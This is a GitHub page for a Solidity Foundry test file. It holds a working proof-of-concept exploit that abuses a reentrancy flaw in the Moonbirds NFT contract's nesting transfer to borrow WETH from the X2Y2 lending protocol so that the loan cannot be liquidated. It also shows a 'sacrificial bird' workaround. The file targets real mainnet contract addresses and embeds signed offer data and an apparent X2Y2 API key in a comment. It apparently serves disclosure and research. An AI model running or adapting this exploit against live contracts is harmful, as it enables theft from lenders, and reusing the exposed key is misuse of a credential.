-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathX2Y2MoonbirdsExploit.t.sol
272 lines (216 loc) · 9.57 KB
/
X2Y2MoonbirdsExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.0 <0.9.0;
import "lib/forge-std/src/Test.sol";
import "lib/solmate/src/tokens/ERC721.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "test/X2Y2DataTypes.sol";
interface X2Y2 {
function borrow(
Offer calldata _offer,
uint256 _nftId,
bool _isCollectionOffer,
Signature calldata _lenderSignature,
Signature calldata _brokerSignature,
CallData calldata _extraDeal
) external returns (uint32);
function liquidate(uint32 _loanId) external;
function repay(uint32 _loanId) external;
}
//exploits a reentrancy vulnerability in the moonbirds contract to borrow eth from x2y2 in a way that it cannot be liquidated
//details of the moonbirds vulnerability: https://github.com/dhanjani/MoonbirdsSploit/blob/main/MoonbirdsSploit.sol
//more details here https://www.dhanjani.com/2022/05/release-proof-of-concept-exploit-for-the-moonbirds-nft-smart-contract.html
contract X2Y2MoonbirdsExploit is Test, IERC721Receiver {
address weth_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IERC20 weth;
uint256 tokenid = 6969;
ERC721 moonbirds = ERC721(0x23581767a106ae21c074b2276D25e5C3e136a68b);
X2Y2 x2y2 = X2Y2(0xFa4D5258804D7723eb6A934c11b1bd423bC31623);
address x2y2_delegate = 0xeF887e8b1C06209F59E8Ae55D0e625C937344376;
bool reentrancy = false;
bool sacrifical_reentrancy = false;
Offer offer;
Signature brokersignature;
Signature lendersignature;
CallData mycalldata;
uint32 loanid;
function setUp() public {
weth = IERC20(weth_address);
string memory rpc_url = vm.envString("RPC_URL");
//locking in block number so the offchain orderdata still works
vm.createSelectFork(rpc_url, 16631758);
//https://api.x2y2.io/uniapi/xy3/v1/offer/list?contractAddress=0x23581767a106ae21c074b2276d25e5c3e136a68b&tokenId=281&duration=0&page=1&pageSize=5&sort=desc&order=amount
//X-API-KEY 8923f924-1f00-4a6a-b484-088e6ffed7f3
offer.borrowAmount = 5500000000000000000;
offer.repayAmount = 5589959000000000000;
offer.nftAsset = address(moonbirds);
offer.borrowDuration = 259200;
offer.borrowAsset = weth_address;
offer.timestamp = 1676417119;
offer.extra = hex"00";
// vm.warp(1676434068);
//POST /uniapi/xy3/v1/offer/server_sign HTTP/2
//Host: api.x2y2.io
//{"offerId":"1620859988530581504","tokenId":"6969","contract":"0x23581767a106ae21c074b2276D25e5C3e136a68b"}
//{"code":0,"msg":null,"data":{"signature":"0x597cc3f1b3c2ffb16a533f54a4c2046fd8f6f729890bbeaa3398c0a312ec77580bfc4af14beeebd038b0d4e08df4f424552e30107e6f2b6cf31610933ec8e5371b","expireTime":1676436668,"nonce":"1620859988530581504","address":"0xFe02d4E2AcCb4248ce1d3f016c0b5bB43d50ddE0"}}
lendersignature
.nonce = 11796210377425733474706448735182130124593185481553349342885619744392718998228;
lendersignature.expiry = 1676503519;
lendersignature.signer = 0x80E14eb5b69886c0f3c1923e63FC78ce1bC90153;
lendersignature
.signature = hex"d9c46329e785ddaac16aa73d56d94f02e1e84f1dba15d9862ee1da297263e02128367dbec0cc2549e27b6d0c8ff20aa3aec72bf79cec811eab2542955bae6e6c1c";
brokersignature.nonce = 1620859988530581504;
brokersignature.expiry = 1676436668;
brokersignature.signer = 0xFe02d4E2AcCb4248ce1d3f016c0b5bB43d50ddE0;
brokersignature
.signature = hex"597cc3f1b3c2ffb16a533f54a4c2046fd8f6f729890bbeaa3398c0a312ec77580bfc4af14beeebd038b0d4e08df4f424552e30107e6f2b6cf31610933ec8e5371b";
moonbirds.setApprovalForAll(x2y2_delegate, true);
}
//exploits the moonbirds reentrancy vulnerability
//borrows loan in a way that the NFT lands in the X2Y2 nested
//which means it cannot be liquidated if the borrower defaults
//therefore will revert because liquidation attempts by lender will revert
function testx2y2MoonBirdsExploit() public {
//borrow funds by lending moonbird that
//lands nested in X2Y2
x2y2MoonBirdsExploit(true, false);
//fast forward past the loan duration
vm.warp(block.timestamp + offer.borrowDuration + 1);
vm.startPrank(lendersignature.signer);
x2y2.liquidate(loanid); //this will fail because the moonbird is nested
vm.stopPrank();
}
//demo the case where the moonbirds vulnerability is not exploited
//so will not revert
function testx2y2MoonBirdswithoutReentrancy() public {
x2y2MoonBirdsExploit(false, false);
}
//sacrifice a bird to get a 'stuck' bird out of X2Y2 via liquidation
function testCircumventTheVulnerability() public {
//it is possible to use a 'sacrificial' moonbird to
//get a 'stuck' ie nested bird liquidated
//to do this, we take another moonbird, and safeTransferWhileNesting it to ourselves
//this enables the reentrancy where nestingTransfer is set to 2
//so now liquidation attempts will work!
x2y2MoonBirdsExploit(true, true);
}
function x2y2MoonBirdsExploit(bool reentrancyattack, bool sacrifice)
internal
{
getmoonbird(tokenid);
if (reentrancyattack == true) {
reentrancy = true;
//safeTransferWhileNesting always works if the bird is nested or not
//however, initiating this transfer to ourselves, nestingTransfer is set to 2
//in the moonbirds contract, and when the onERC721Received is invoked
//when we recieve the bird, we nest the bird and borrow from x2y2
//x2y2's safetransferfrom will go through because we will be in reentrancy
//and the bird will be in x2y2 in a nested state
//x2y2's contracts will not be able to liquidate the bird
iMoonbirds(address(moonbirds)).safeTransferWhileNesting(
address(this),
address(this),
tokenid
);
} else {
reentrancy_callback_or_borrow();
}
if (sacrifice == true) {
getmoonbird(tokenid + 1); //get a bird to sacrifice ;-)
console2.log("\nin sacrifical mode, invoking reentrancy\n");
reentrancy = true;
sacrifical_reentrancy = true;
//invoke the reentrancy to now liquidate
iMoonbirds(address(moonbirds)).safeTransferWhileNesting(
address(this),
address(this),
tokenid + 1 //sacrifical bird, not the one staked
);
return;
}
vm.warp(block.timestamp + offer.borrowDuration + 1);
vm.startPrank(lendersignature.signer);
x2y2.liquidate(loanid);
vm.stopPrank();
}
function reentrancy_callback_or_borrow() internal {
if (reentrancy == true) {
uint256[] memory tokenids = new uint256[](1);
tokenids[0] = tokenid;
iMoonbirds(address(moonbirds)).toggleNesting(tokenids);
}
reentrancy = false;
loanid = x2y2.borrow(
offer,
tokenid,
true,
lendersignature,
brokersignature,
mycalldata
);
//if we are here, the borrow went through and the bird is in x2y2
console2.log(
"borrow from x2y2 suceeded. current owner is:",
moonbirds.ownerOf(tokenid)
);
(bool isnesting, , ) = iMoonbirds(address(moonbirds)).nestingPeriod(
tokenid
);
if (isnesting) console2.log("the bird is nesting\n");
else console2.log("the bird is not nesting\n");
}
function sacrificial_liquidate_callback() internal {
//we are here because prior to the liquidation attempt we invoked the
//reentrancy using a sacrificial bird
//so now safetransfer from by the x2y2 contracts will go through
//therefore out liquidation attempt will go through
reentrancy = false;
vm.warp(block.timestamp + offer.borrowDuration + 1);
vm.startPrank(lendersignature.signer);
x2y2.liquidate(loanid);
vm.stopPrank();
console2.log("liquidation suceeded");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
if (reentrancy == true) {
if (sacrifical_reentrancy == false) reentrancy_callback_or_borrow();
else sacrificial_liquidate_callback();
}
return this.onERC721Received.selector;
}
function getmoonbird(uint256 _tokenid) internal {
address moonbirds_owner = moonbirds.ownerOf(_tokenid);
vm.startPrank(moonbirds_owner);
bool isnesting;
(isnesting, , ) = iMoonbirds(address(moonbirds)).nestingPeriod(
_tokenid
);
uint256[] memory tokenids = new uint256[](1);
tokenids[0] = _tokenid;
if (isnesting) {
iMoonbirds(address(moonbirds)).toggleNesting(tokenids);
}
moonbirds.safeTransferFrom(moonbirds_owner, address(this), _tokenid);
vm.stopPrank();
}
}
interface iMoonbirds {
function nestingPeriod(uint256 tokenId)
external
returns (
bool nesting,
uint256 current,
uint256 total
);
function safeTransferWhileNesting(
address from,
address to,
uint256 tokenId
) external;
function toggleNesting(uint256[] calldata tokenIds) external;
}